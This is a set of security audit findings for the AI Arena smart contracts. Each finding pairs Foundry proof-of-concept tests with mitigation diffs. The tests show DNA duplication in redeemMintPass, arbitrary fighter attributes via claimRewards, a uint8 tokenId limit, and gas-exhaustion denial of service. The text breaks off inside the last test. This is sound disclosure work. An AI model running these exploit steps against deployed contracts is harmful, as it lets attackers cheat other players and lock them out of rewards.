AI Arena - ahmedaghadi's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233

Vulnerability details

Impact

Consider the FighterFarm::redeemMintPass function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233 ):

/// @notice Burns multiple mint passes in exchange for fighter NFTs.
/// @dev This function requires the length of all input arrays to be equal.
/// @dev Each input array must correspond to the same index, i.e., the first element in each
/// array belongs to the same mint pass, and so on.
/// @param mintpassIdsToBurn Array of mint pass IDs to be burned for each fighter to be minted.
/// @param mintPassDnas Array of DNA strings of the mint passes to be minted as fighters.
/// @param fighterTypes Array of fighter types corresponding to the fighters being minted.
/// @param modelHashes Array of ML model hashes corresponding to the fighters being minted.
/// @param modelTypes Array of ML model types corresponding to the fighters being minted.
function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
    uint8[] calldata fighterTypes,
    uint8[] calldata iconsTypes,
@-> string[] calldata mintPassDnas,
    string[] calldata modelHashes,
    string[] calldata modelTypes
)
    external
{
    require(
        mintpassIdsToBurn.length == mintPassDnas.length &&
        mintPassDnas.length == fighterTypes.length &&
        fighterTypes.length == modelHashes.length &&
        modelHashes.length == modelTypes.length
    );
    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
        require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
        _mintpassInstance.burn(mintpassIdsToBurn[i]);
        _createNewFighter(
            msg.sender,
@->         uint256(keccak256(abi.encode(mintPassDnas[i]))),
            modelHashes[i],
            modelTypes[i],
            fighterTypes[i],
            iconsTypes[i],
            [uint256(100), uint256(100)]
        );
    }
}

Here, an attacker can pass the same mintPassDnas as other user's mintPassDnas and can claim the same dna as other user's dna. So an attacker can duplicate a dna of user's fighter claimed using FighterFarm::redeemMintPass function.

Therefore, if an attacker pass same fighterTypes and mintPassDnas as other user's fighterTypes and mintPassDnas then they can claim the same dna as other user's fighter.

This is due to the fact that redeemMintPass function uses keccak256(abi.encode(mintPassDnas[i])) as dna of the fighter which isn't specific to msg.sender and mintPassId. Unlike in other place, where msg.sender is also considered while calculating dna ( refer https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L214 ) .

Upon discussing with the protocol team, it is confirmed that it's vulnerability if dna can be duplicated by any user.

Proof of Concept

Add the below code after creating FighterFarmRedeem.t.sol test file:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../src/FighterFarm.sol";
import {AAMintPass} from "../src/AAMintPass.sol";
import {AiArenaHelper} from "../src/AiArenaHelper.sol";
import {FighterOps} from "../src/FighterOps.sol";

contract FighterFarmTest is Test {
    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    uint256 internal _DELGEGATED_PRIVATE_KEY = 0x0123;
    address internal _DELEGATED_ADDRESS = vm.addr(_DELGEGATED_PRIVATE_KEY);
    address internal _ownerAddress;
    address internal _treasuryAddress;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    AiArenaHelper internal _helperContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    /*//////////////////////////////////////////////////////////////
                                SETUP
    //////////////////////////////////////////////////////////////*/

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        getProb();

        _fighterFarmContract = new FighterFarm(
            _ownerAddress,
            _DELEGATED_ADDRESS,
            _treasuryAddress
        );

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _fighterFarmContract.instantiateAIArenaHelperContract(
            address(_helperContract)
        );
        _fighterFarmContract.instantiateMintpassContract(
            address(_mintPassContract)
        );
    }

    function testRedeemMintPassAttack() public {
        address user = address(0x123);
        address attacker = address(0x234);

        uint8[2] memory numToMint = [1, 0];
        string[] memory _tokenURIs = new string[](1);
        _tokenURIs[
            0
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        bytes memory signature;

        // signing mintpass for user
        signature = signFromDelegate(numToMint, _tokenURIs, user, [0, 0]);

        assertEq(_mintPassContract.mintingPaused(), false);
        // mint an nft from the mintpass contract for the user
        vm.prank(user);
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        assertEq(_mintPassContract.balanceOf(user), 1);
        assertEq(_mintPassContract.ownerOf(1), user);

        // signing mintpass for attacker
        signature = signFromDelegate(numToMint, _tokenURIs, attacker, [0, 0]);

        assertEq(_mintPassContract.mintingPaused(), false);
        // mint an nft from the mintpass contract for the attacker
        vm.prank(attacker);
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        assertEq(_mintPassContract.balanceOf(attacker), 1);
        assertEq(_mintPassContract.ownerOf(2), attacker);

        // arrays to pass to redeemMintPass
        uint256[] memory _mintpassIdsToBurn = new uint256[](1);
        string[] memory _mintPassDNAs = new string[](1);
        uint8[] memory _fighterTypes = new uint8[](1);
        uint8[] memory _iconsTypes = new uint8[](1);
        string[] memory _neuralNetHashes = new string[](1);
        string[] memory _modelTypes = new string[](1);

        _mintpassIdsToBurn[0] = 1;
        _mintPassDNAs[0] = "dna";
        _fighterTypes[0] = 0;
        _neuralNetHashes[0] = "neuralnethash";
        _modelTypes[0] = "original";
        _iconsTypes[0] = 1;

        // approve the fighterfarm contract to burn the mintpass
        vm.startPrank(user);
        _mintPassContract.approve(address(_fighterFarmContract), 1);
        _fighterFarmContract.redeemMintPass(
            _mintpassIdsToBurn,
            _fighterTypes,
            _iconsTypes,
            _mintPassDNAs,
            _neuralNetHashes,
            _modelTypes
        );
        vm.stopPrank();

        // check balance to see if we successfully redeemed the mintpass for a fighter
        assertEq(_fighterFarmContract.balanceOf(user), 1);
        // check balance to see if the mintpass was burned
        assertEq(_mintPassContract.balanceOf(user), 0);

        // passing the same dna and fighter type to redeem the mintpass for the attacker
        _mintpassIdsToBurn[0] = 2;
        _neuralNetHashes[0] = "neuralnethashattacker";
        _modelTypes[0] = "originalattacker";

        // approve the fighterfarm contract to burn the mintpass
        vm.startPrank(attacker);
        _mintPassContract.approve(address(_fighterFarmContract), 2);
        _fighterFarmContract.redeemMintPass(
            _mintpassIdsToBurn,
            _fighterTypes,
            _iconsTypes,
            _mintPassDNAs,
            _neuralNetHashes,
            _modelTypes
        );
        vm.stopPrank();

        // check balance to see if we successfully redeemed the mintpass for a fighter
        assertEq(_fighterFarmContract.balanceOf(attacker), 1);
        // check balance to see if the mintpass was burned
        assertEq(_mintPassContract.balanceOf(attacker), 0);

        // check if the fighter was minted
        assertEq(_fighterFarmContract.ownerOf(0), user);
        assertEq(_fighterFarmContract.ownerOf(1), attacker);

        // verify that the user's fighter and the attacker's fighter have the same physical attributes due to same dna
        {
            (
                ,
                ,
                FighterOps.FighterPhysicalAttributes
                    memory physicalAttributesUser,
                ,
                ,
                ,
                ,
                ,

            ) = _fighterFarmContract.fighters(0);

            (
                ,
                ,
                FighterOps.FighterPhysicalAttributes
                    memory physicalAttributesAttacker,
                ,
                ,
                ,
                ,
                ,

            ) = _fighterFarmContract.fighters(1);

            assertEq(
                physicalAttributesUser.head,
                physicalAttributesAttacker.head
            );
            assertEq(
                physicalAttributesUser.eyes,
                physicalAttributesAttacker.eyes
            );
            assertEq(
                physicalAttributesUser.mouth,
                physicalAttributesAttacker.mouth
            );
            assertEq(
                physicalAttributesUser.body,
                physicalAttributesAttacker.body
            );
            assertEq(
                physicalAttributesUser.hands,
                physicalAttributesAttacker.hands
            );
            assertEq(
                physicalAttributesUser.feet,
                physicalAttributesAttacker.feet
            );
        }
    }

    function signFromDelegate(
        uint8[2] memory numToMint,
        string[] memory _tokenURIs,
        address userAddress,
        uint8[2] memory passesClaimed
    ) public returns (bytes memory) {
        bytes memory prefix = "\x19Ethereum Signed Message:\n32";

        bytes32 msgHash = bytes32(
            keccak256(
                abi.encode(
                    userAddress,
                    numToMint[0],
                    numToMint[1],
                    passesClaimed[0],
                    passesClaimed[1],
                    _tokenURIs
                )
            )
        );

        bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, msgHash));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            _DELGEGATED_PRIVATE_KEY,
            prefixedHash
        );
        bytes memory signature = abi.encodePacked(r, s, v);
        return signature;
    }
}

You can run the test by:

forge test --mt testRedeemMintPassAttack -vv

In testRedeemMintPassAttack test function, attacker is able to claim the same dna as user's dna by passing the same fighterTypes and mintPassDnas as user's fighterTypes and mintPassDnas in FighterFarm::redeemMintPass function. At the end of the test, it is verified that the user's fighter and the attacker's fighter have the same physical attributes due to same dna.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

It can be fixed by using msg.sender and mintPassId in keccak256(abi.encode(mintPassDnas[i])) to make dna specific to msg.sender in FighterFarm::redeemMintPass function.

So the change in FighterFarm::redeemMintPass function will be:

/// @notice Burns multiple mint passes in exchange for fighter NFTs.
/// @dev This function requires the length of all input arrays to be equal.
/// @dev Each input array must correspond to the same index, i.e., the first element in each
/// array belongs to the same mint pass, and so on.
/// @param mintpassIdsToBurn Array of mint pass IDs to be burned for each fighter to be minted.
/// @param mintPassDnas Array of DNA strings of the mint passes to be minted as fighters.
/// @param fighterTypes Array of fighter types corresponding to the fighters being minted.
/// @param modelHashes Array of ML model hashes corresponding to the fighters being minted.
/// @param modelTypes Array of ML model types corresponding to the fighters being minted.
function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
    uint8[] calldata fighterTypes,
    uint8[] calldata iconsTypes,
    string[] calldata mintPassDnas,
    string[] calldata modelHashes,
    string[] calldata modelTypes
)
    external
{
    require(
        mintpassIdsToBurn.length == mintPassDnas.length &&
        mintPassDnas.length == fighterTypes.length &&
        fighterTypes.length == modelHashes.length &&
        modelHashes.length == modelTypes.length
    );
    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
        require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
        _mintpassInstance.burn(mintpassIdsToBurn[i]);
        _createNewFighter(
            msg.sender,
-            uint256(keccak256(abi.encode(mintPassDnas[i]))),
+            uint256(keccak256(abi.encode(mintPassDnas[i], mintpassIdsToBurn[i], msg.sender))),
            modelHashes[i],
            modelTypes[i],
            fighterTypes[i],
            iconsTypes[i],
            [uint256(100), uint256(100)]
        );
    }
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370

Vulnerability details

Impact

The FighterFarm::reRoll function has parameter tokenId in uint8 type whereas tokenId should be in uint256 ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370 ) :

/// @notice Rolls a new fighter with random traits.
/// @param tokenId ID of the fighter being re-rolled.
/// @param fighterType The fighter type.
function reRoll(uint8 tokenId, uint8 fighterType) public {
                   ^
                   |
@-------------------
    require(msg.sender == ownerOf(tokenId));
    require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
    require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

    _neuronInstance.approveSpender(msg.sender, rerollCost);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
    if (success) {
        numRerolls[tokenId] += 1;
        uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
        (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
        fighters[tokenId].element = element;
        fighters[tokenId].weight = weight;
        fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
            generation[fighterType],
            fighters[tokenId].iconsType,
            fighters[tokenId].dendroidBool
        );
        _tokenURIs[tokenId] = "";
    }
}

So only a portion of fighters which have tokenId less than 256 can call reRoll function. It will thus restrict a significant amount of users to call reRoll function for their fighters.

Proof of Concept

Any user who has tokenId greater than type(uint8).max ( i.e 255 ) will not be able to call reRoll function due to restriction in function signature. Even passing tokenId greater than 255 will result in compilation error.

Like adding the following test function in FighterFarm.t.sol:

function testRerollUint8() public {
    address restUser = vm.addr(0x123);
    address testUser = vm.addr(0x234);

    vm.startPrank(address(_mergingPoolContract));
    for (uint i = 0; i <= type(uint8).max; i++) {
        // _mintFromMergingPool(restUser);
        _fighterFarmContract.mintFromMergingPool(
            restUser,
            "_neuralNetHash",
            "original",
            [uint256(1), uint256(80)]
        );
    }
    vm.stopPrank();

    // testUser will have token id 256 i.e greater type(uint8).max
    _mintFromMergingPool(testUser);

    uint256 expectedTestUserTokenId = uint256(type(uint8).max) + 1;

    console.log(_neuronContract.balanceOf(testUser));

    // get 4k neuron from treasury
    _fundUserWith4kNeuronByTreasury(testUser);

    // after successfully minting a fighter, update the model
    if (_fighterFarmContract.ownerOf(expectedTestUserTokenId) == testUser) {
        uint8 fighterType = 0;
        _neuronContract.addSpender(address(_fighterFarmContract));

        // Will give compile error: `Invalid type for argument in function call. Invalid implicit conversion from uint256 to uint8 requested.` for `expectedTestUserTokenId`
        _fighterFarmContract.reRoll(expectedTestUserTokenId, fighterType);
    }
}

You can run the test by:

forge test --mt testRerollUint8 -vv

It will give compilation error as Invalid type for argument in function call. Invalid implicit conversion from uint256 to uint8 requested.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

It can be fixed by replacing uint8 with uint256 for tokenId in reRoll function signature.

So the changes would look like:

/// @notice Rolls a new fighter with random traits.
/// @param tokenId ID of the fighter being re-rolled.
/// @param fighterType The fighter type.
- function reRoll(uint8 tokenId, uint8 fighterType) public {
+ function reRoll(uint256 tokenId, uint8 fighterType) public {
    require(msg.sender == ownerOf(tokenId));
    require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
    require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

    _neuronInstance.approveSpender(msg.sender, rerollCost);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
    if (success) {
        numRerolls[tokenId] += 1;
        uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
        (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
        fighters[tokenId].element = element;
        fighters[tokenId].weight = weight;
        fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
            generation[fighterType],
            fighters[tokenId].iconsType,
            fighters[tokenId].dendroidBool
        );
        _tokenURIs[tokenId] = "";
    }
}

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139

Vulnerability details

Impact

Consider the MergingPool::claimRewards function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139 ):

/// @notice Allows the user to batch claim rewards for multiple rounds.
/// @dev The user can only claim rewards once for each round.
/// @param modelURIs The array of model URIs corresponding to each round and winner address.
/// @param modelTypes The array of model types corresponding to each round and winner address.
/// @param customAttributes Array with [element, weight] of the newly created fighter.
function claimRewards(
    string[] calldata modelURIs,
    string[] calldata modelTypes,
@-> uint256[2][] calldata customAttributes
)
    external
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
@->             _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

Here, if an attacker is winner in MergingPool then they can pass arbitrary customAttributes to MergingPool::claimRewards function. This will allow them to get arbitrary element and weight for their fighters. They just need to make sure that customAttributes[0] isn't 100.

Consider the FighterFarm::mintFromMergingPool function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L313 ):

/// @notice Mints a new fighter from the merging pool.
/// @dev Only the merging pool contract address is authorized to call this function.
/// @param to The address that the new fighter will be assigned to.
/// @param modelHash The hash of the ML model associated with the fighter.
/// @param modelType The type of the ML model associated with the fighter.
/// @param customAttributes Array with [element, weight] of the newly created fighter.
function mintFromMergingPool(
    address to,
    string calldata modelHash,
    string calldata modelType,
    uint256[2] calldata customAttributes
)
    public
{
    require(msg.sender == _mergingPoolAddress);
@-> _createNewFighter(
        to,
        uint256(keccak256(abi.encode(msg.sender, fighters.length))),
        modelHash,
        modelType,
        0,
        0,
        customAttributes
    );
}

FighterFarm::mintFromMergingPool function is called by MergingPool::claimRewards function and it further calls FighterFarm::_createNewFighter function with customAttributes as it is.

Consider the FighterFarm::_createNewFighter function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L484 ):

/// @notice Creates a new fighter and mints an NFT to the specified address.
/// @param to The address to mint the new NFT to.
/// @param dna The DNA of the new fighter.
/// @param modelHash The hash of the ML model.
/// @param modelType The type of the ML model.
/// @param fighterType The type of fighter to create.
/// @param iconsType Type of icons fighter (0 means it's not an icon).
/// @param customAttributes Array with [element, weight] of the newly created fighter.
function _createNewFighter(
    address to,
    uint256 dna,
    string memory modelHash,
    string memory modelType,
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
)
    private
{
    require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
    uint256 element;
    uint256 weight;
    uint256 newDna;
@-> if (customAttributes[0] == 100) {
        (element, weight, newDna) = _createFighterBase(dna, fighterType);
    }
    else {
@->     element = customAttributes[0];
@->     weight = customAttributes[1];
@->     newDna = dna;
    }
    uint256 newId = fighters.length;

    bool dendroidBool = fighterType == 1;
    FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes(
        newDna,
        generation[fighterType],
        iconsType,
        dendroidBool
    );
    fighters.push(
        FighterOps.Fighter(
            weight,
            element,
            attrs,
            newId,
            modelHash,
            modelType,
            generation[fighterType],
            iconsType,
            dendroidBool
        )
    );
    _safeMint(to, newId);
    FighterOps.fighterCreatedEmitter(newId, weight, element, generation[fighterType]);
}

Here, if customAttributes[0] is 100 then _createFighterBase function is called to get element and weight. Otherwise, element and weight are taken from customAttributes. So the attacker just need to make sure that customAttributes[0] isn't 100 and they can get arbitrary element and weight for their fighters.

Upon discussion with the protocol team, it is confirmed that weight can be any value between 65 and 95 (inclusive), and element is unit values like [0, 1, 2]. And if an attacker is able to go beyond that it's a vulnerability.

Proof of Concept

Add the below function in MergingPool.t.sol test file:

import {FighterOps} from "../src/FighterOps.sol";

function testClaimRewardsAttack() public {
    // These are the two winners of roundId 0
    address user1 = vm.addr(0x123);
    address attacker = vm.addr(0x234);

    // Minting them fighters initially so that they can be winners
    _mintFromMergingPool(user1);
    _mintFromMergingPool(attacker);
    assertEq(_fighterFarmContract.ownerOf(0), user1);
    assertEq(_fighterFarmContract.ownerOf(1), attacker);

    // These are the tokenIds of the fighters which are winners
    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1;
    // winners of roundId 0 are picked
    _mergingPoolContract.pickWinner(_winners);
    assertEq(_mergingPoolContract.isSelectionComplete(0), true);
    assertEq(_mergingPoolContract.winnerAddresses(0, 0) == user1, true);
    assertEq(_mergingPoolContract.winnerAddresses(0, 1) == attacker, true);

    // Attacker is going to claim rewards with arbitrary element and weight
    uint256 invalidElement = type(uint256).max;
    uint256 invalidWeight = type(uint256).max;

    string[] memory _modelURIs = new string[](1);
    _modelURIs[
        0
    ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
    string[] memory _modelTypes = new string[](1);
    _modelTypes[0] = "original";
    uint256[2][] memory _customAttributes = new uint256[2][](1);

    // Custom attributes with arbitrary element and weight
    _customAttributes[0][0] = uint256(invalidElement);
    _customAttributes[0][1] = uint256(invalidWeight);

    vm.prank(attacker);
    _mergingPoolContract.claimRewards(
        _modelURIs,
        _modelTypes,
        _customAttributes
    );

    (uint256 weight, uint256 element, , , , , , , ) = _fighterFarmContract
        .fighters(2);

    // Attacker's fighter should have arbitrary element and weight
    assertEq(weight, type(uint256).max);
    assertEq(element, type(uint256).max);

    // Making sure that attacker is the owner of the fighter with arbitrary element and weight
    assertEq(_fighterFarmContract.ownerOf(2), attacker);
}

You can run the test by:

forge test --mt testClaimRewardsAttack -vv

So here, the attacker is able to get element and weight equals to type(uint256).max for their fighters.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

It can be fixed by not letting user to pass arbitrary customAttributes to MergingPool::claimRewards function. Or at least, customAttributes should be validated before minting the fighter to the winner.

As weight can be any value between 65 and 95 (inclusive), and element can be any value between 0 and numElements[generation[fighterType]] - 1 (inclusive), so the customAttributes should be validated to make sure that weight and element are within the valid range.

So the following changes can be made on FighterFarm::_createNewFighter function:

/// @notice Creates a new fighter and mints an NFT to the specified address.
/// @param to The address to mint the new NFT to.
/// @param dna The DNA of the new fighter.
/// @param modelHash The hash of the ML model.
/// @param modelType The type of the ML model.
/// @param fighterType The type of fighter to create.
/// @param iconsType Type of icons fighter (0 means it's not an icon).
/// @param customAttributes Array with [element, weight] of the newly created fighter.
function _createNewFighter(
    address to,
    uint256 dna,
    string memory modelHash,
    string memory modelType,
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
)
    private
{
    require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
    uint256 element;
    uint256 weight;
    uint256 newDna;
    if (customAttributes[0] == 100) {
        (element, weight, newDna) = _createFighterBase(dna, fighterType);
    }
    else {
+        require(customAttributes[0] < numElements[generation[fighterType]], "Invalid element");
+        require(customAttributes[1] >= 65 && customAttributes[1] <= 95, "Invalid weight");
        element = customAttributes[0];
        weight = customAttributes[1];
        newDna = dna;
    }
    uint256 newId = fighters.length;

    bool dendroidBool = fighterType == 1;
    FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes(
        newDna,
        generation[fighterType],
        iconsType,
        dendroidBool
    );
    fighters.push(
        FighterOps.Fighter(
            weight,
            element,
            attrs,
            newId,
            modelHash,
            modelType,
            generation[fighterType],
            iconsType,
            dendroidBool
        )
    );
    _safeMint(to, newId);
    FighterOps.fighterCreatedEmitter(newId, weight, element, generation[fighterType]);
}

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L294

Vulnerability details

Impact

The MergingPool::claimRewards function loop through last claimed round ID to the latest round ID ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139 ) :

function claimRewards(
    string[] calldata modelURIs,
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
)
    external
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
@->    uint32 lowerBound = numRoundsClaimed[msg.sender];
@->    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
                _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

Also there's another nested loop which loops through all the winners each round. Thus, it will become very expensive to claim rewards and eventually leads to block gas limit. Due to which some users may never be able to claim their rewards.

Therefore, If user try to claim their rewards after many rounds has passed then due to the above mentioned loops, it will consume a lot of gas and eventually leads to block gas limit.

Similarly, the RankedBattle::claimNRN function loop through last claimed round ID to the latest round ID ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L294 ) :

function claimNRN() external {
    require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");
    uint256 claimableNRN = 0;
    uint256 nrnDistribution;
@->    uint32 lowerBound = numRoundsClaimed[msg.sender];
@->    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        nrnDistribution = getNrnDistribution(currentRound);
        claimableNRN += (
            accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution
        ) / totalAccumulatedPoints[currentRound];
        numRoundsClaimed[msg.sender] += 1;
    }
    if (claimableNRN > 0) {
        amountClaimed[msg.sender] += claimableNRN;
        _neuronInstance.mint(msg.sender, claimableNRN);
        emit Claimed(msg.sender, claimableNRN);
    }
}

Although, it's relatively difficult to reach the block gas limit in claimNRN function as compared to claimRewards function, but still it's possible.

Proof of Concept

For claimRewards function, Add the below function in MergingPool.t.sol:

function testClaimRewardsDOS() public {
    address user1 = vm.addr(1);
    address user2 = vm.addr(2);
    address user3 = vm.addr(3);

    _mintFromMergingPool(user1);
    _mintFromMergingPool(user2);
    _mintFromMergingPool(user3);

    uint offset = 35;
    uint totalWin = 9;

    uint256[] memory _winnersGeneral = new uint256[](2);
    _winnersGeneral[0] = 0;
    _winnersGeneral[1] = 1;

    uint256[] memory _winnersUser = new uint256[](2);
    _winnersUser[0] = 0;
    _winnersUser[1] = 2;
    for (uint i = 0; i < offset * totalWin; i++) {
        if (i % offset == 0) {
            _mergingPoolContract.pickWinner(_winnersUser);
        } else {
            _mergingPoolContract.pickWinner(_winnersGeneral);
        }
    }

    string[] memory _modelURIs = new string[](totalWin);
    string[] memory _modelTypes = new string[](totalWin);
    uint256[2][] memory _customAttributes = new uint256[2][](totalWin);
    for (uint i = 0; i < totalWin; i++) {
        _modelURIs[
            i
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelTypes[i] = "original";
        _customAttributes[i][0] = uint256(1);
        _customAttributes[i][1] = uint256(80);
    }
    vm.prank(user3);
    uint gasBefore = gasleft();
    _mergingPoolContract.claimRewards(
        _modelURIs,
        _modelTypes,
        _customAttributes
    );
    uint gasAfter = gasleft();
    uint gasDiff = gasBefore - gasAfter;
    emit log_uint(gasDiff);
    uint256 numRewards = _mergingPoolContract.getUnclaimedRewards(user3);
    assertEq(numRewards, 0);
    assertGt(gasDiff, 4_000_000);
}

You can run the test by:

forge test --mt testClaimRewardsDOS -vv

Here I had considered 3 users, user1, user2, and user3. After each offset rounds, I picked user3 as a winner. There were total of 315 ( offset * totalWin ) rounds passed and user3 won in 9 of them. Then I tried to claim rewards for user3 and it consumed more than 4M gas.

Also the more the round in which user3 has won, the more gas it will consume. Even if offset is 1 and totalWin is 9 ( i.e total of 9 rounds out of which user3 won in 9 of them ), it will consume more than 3.4M gas.

Also, we've considered only 2 winners per round, as the number of winners increases, the gas consumption will also increase due to the nested loop which loops through all the winners each round.

So if any user claim their rewards after many rounds has passed or if they have won in many rounds, it will consume a lot of gas and eventually leads to block gas limit.

For claimNRN function, Add the below function in RankedBattle.t.sol:

function testClaimNRNDoS() public {
    _neuronContract.addSpender(address(_gameItemsContract));
    _gameItemsContract.instantiateNeuronContract(address(_neuronContract));
    _gameItemsContract.createGameItem(
        "Battery",
        "https://ipfs.io/ipfs/",
        true,
        true,
        10_000,
        1 * 10 ** 18,
        type(uint16).max
    );
    _gameItemsContract.setAllowedBurningAddresses(
        address(_voltageManagerContract)
    );

    address staker = vm.addr(3);
    _mintFromMergingPool(staker);
    vm.prank(_treasuryAddress);
    _neuronContract.transfer(staker, 400_000 * 10 ** 18);
    vm.prank(staker);
    _rankedBattleContract.stakeNRN(30_000 * 10 ** 18, 0);
    assertEq(_rankedBattleContract.amountStaked(0), 30_000 * 10 ** 18);

    address claimee = vm.addr(4);
    _mintFromMergingPool(claimee);
    vm.prank(_treasuryAddress);
    _neuronContract.transfer(claimee, 400_000 * 10 ** 18);
    vm.prank(claimee);
    _rankedBattleContract.stakeNRN(40_000 * 10 ** 18, 1);
    assertEq(_rankedBattleContract.amountStaked(1), 40_000 * 10 ** 18);

    uint offset = 35;
    uint totalWin = 9;
    for (uint i = 0; i < offset * totalWin; i++) {
        // 0 win
        // 1 tie
        // 2 loss
        if (i % offset == 0) {
            uint256 currentVoltage = _voltageManagerContract.ownerVoltage(
                claimee
            );
            if (currentVoltage < 100) {
                vm.prank(claimee);
                _gameItemsContract.mint(0, 1); //paying 1 $NRN for 1 batteries
                vm.prank(claimee);
                _voltageManagerContract.useVoltageBattery();
            }

            vm.prank(address(_GAME_SERVER_ADDRESS));
            _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        } else {
            uint256 currentVoltage = _voltageManagerContract.ownerVoltage(
                staker
            );
            if (currentVoltage < 100) {
                vm.prank(staker);
                _gameItemsContract.mint(0, 1); //paying 1 $NRN for 1 batteries
                vm.prank(staker);
                _voltageManagerContract.useVoltageBattery();
            }

